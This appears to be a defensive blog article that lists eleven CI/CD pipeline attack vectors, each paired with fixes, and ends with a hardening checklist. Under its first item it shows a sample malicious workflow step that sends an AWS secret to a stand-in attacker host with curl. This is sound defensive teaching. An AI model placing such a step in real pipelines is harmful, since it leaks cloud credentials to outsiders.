CI/CD Pipeline Security: 11 Attack Vectors Your Team Is Ignoring

The Pipeline Privilege Problem

Ask your security team: who has production access? They'll list a handful of engineers. They'll forget the CI/CD system — which has access to every secret, every deployment target, every infrastructure component, and runs thousands of times per day with zero human oversight.

Modern CI/CD pipelines are the most privileged systems in your organization. They combine source code access, secret management, build execution, artifact publishing, and production deployment into a single automated chain. Compromise any link and you compromise everything downstream.

Source Code Stage Attacks

1. Malicious Pull Request Injection

When pipelines run on every pull request (including from forks), an attacker can submit a PR that modifies the CI configuration to exfiltrate secrets.

# Malicious .github/workflows/ci.yml change in a PR
steps:
  - run: |
      curl -X POST https://attacker.com/collect \
        -d "secrets=${{ secrets.AWS_ACCESS_KEY }}"

The fix: Never run workflows with secrets access on PRs from forks. Use pull_request_target with extreme caution. Require approval for first-time contributors. Pin workflow permissions with permissions: read-all.

2. Branch Protection Bypass

Many teams protect main but leave deployment branches unprotected. Attackers push directly to staging or release/* branches that trigger production deployments.

The fix: Protect ALL branches that trigger deployments. Use environment protection rules requiring manual approval. Enable CODEOWNERS for pipeline configuration files.

3. Commit Signing Absence

Without commit signing, anyone with repository access can impersonate another developer. Git doesn't verify identity by default — the git config user.email can be set to anything.

The fix: Require GPG or SSH commit signing. Configure branch protection rules to require signed commits. Use vigilant mode on GitHub to flag unsigned commits.

Build Stage Attacks

4. Dependency Confusion

Your build pulls packages from both a public registry (npm, PyPI) and a private registry. An attacker publishes a higher-version package on the public registry with the same name as your internal package. The build resolver picks the newer public version — which contains malicious code.

The fix: Use scoped packages (@company/package-name). Configure registry priority to always check private registries first. Claim your namespace on public registries even if you don't publish there. Use lockfiles and verify checksums.

5. Poisoned Build Cache

Build caches (Docker layer cache, Gradle cache, npm cache) are often shared across pipelines and branches. An attacker from a feature branch can poison the cache to inject malicious artifacts into the main branch build.

The fix: Isolate build caches per branch or per PR. Use content-addressable caching (hash-based keys). Periodically rebuild from scratch. Verify cached artifacts with checksums.

6. Self-Hosted Runner Compromise

Self-hosted runners persist between jobs. If a job from an untrusted PR runs on a shared runner, it can install a persistent backdoor (cron job, modified PATH, rootkit) that affects all subsequent jobs on that machine.

The fix: Use ephemeral runners that spin up fresh for each job. Never run untrusted code on persistent runners. Use container-based isolation. Rotate runner credentials regularly.

Artifact Stage Attacks

7. Container Image Tampering

Pulling images by tag (e.g., node:18) is unsafe — tags are mutable. An attacker who compromises the registry can replace a tagged image with a malicious version.

# UNSAFE - tag is mutable
FROM node:18-alpine

# SAFE - pinned to immutable digest
FROM node:18-alpine@sha256:a1b2c3d4e5f6...

The fix: Pin all base images by digest. Sign images with cosign or docker trust. Scan images for vulnerabilities before deployment. Use a private registry with immutability policies.

8. Artifact Registry Poisoning

If your artifact registry (Artifactory, Nexus, ECR) allows anonymous writes or uses weak authentication, attackers can replace legitimate build artifacts with malicious ones.

The fix: Enforce strong authentication for all registry writes. Enable immutable artifacts (once published, cannot be overwritten). Sign all artifacts with a provenance attestation. Verify signatures before deployment.

Deployment Stage Attacks

9. Infrastructure-as-Code Injection

Terraform, CloudFormation, and Pulumi configs run with cloud admin privileges. A malicious change to IaC can create backdoor IAM roles, open security groups, or exfiltrate data during terraform apply.

The fix: Require manual approval for IaC changes in production. Run terraform plan in PR reviews with diff visibility. Use OPA/Rego policies to block dangerous patterns (wildcard IAM, public S3 buckets). Restrict IaC pipeline permissions to least privilege.

10. Environment Variable Leakage

Debugging output, error messages, and build logs often leak secrets. A single printenv or env command in a build script exposes every secret the pipeline has access to.

The fix: Mask all secrets in log output. Use secret scanning in CI logs. Never echo environment variables in scripts. Use structured logging that excludes sensitive fields. Regularly audit what gets logged.

Secrets Management Anti-Patterns

11. The Long-Lived Credential Problem

Most CI/CD secrets never expire and have far more permissions than needed. A single leaked API key gives attackers persistent, broad access.

Software Supply Chain Risks

Your pipeline doesn't just build your code — it pulls in hundreds of third-party dependencies, base images, and plugins. Each is an attack surface.

SLSA Framework: Supply Chain Levels

Pipeline Hardening Checklist

Phase 1: Quick Wins (Week 1)

• Pin all CI/CD action versions to commit SHA (not tags)
• Set permissions: read-all in all workflow files
• Enable secret scanning on your repository
• Mask all secrets in build logs
• Remove unnecessary secrets from pipeline environments

Phase 2: Architecture (Week 2-4)

• Switch from static cloud keys to OIDC federation
• Implement environment protection rules for production
• Use ephemeral runners for untrusted workloads
• Pin all base images by digest
• Scope secrets to specific environments (dev/staging/prod)

Phase 3: Defense in Depth (Month 2-3)

• Sign all artifacts with cosign and verify before deployment
• Implement SLSA Level 2+ provenance attestation
• Add OPA policies to block dangerous IaC patterns
• Deploy runtime admission controllers (Kyverno/OPA Gatekeeper)
• Establish pipeline audit logging and anomaly detection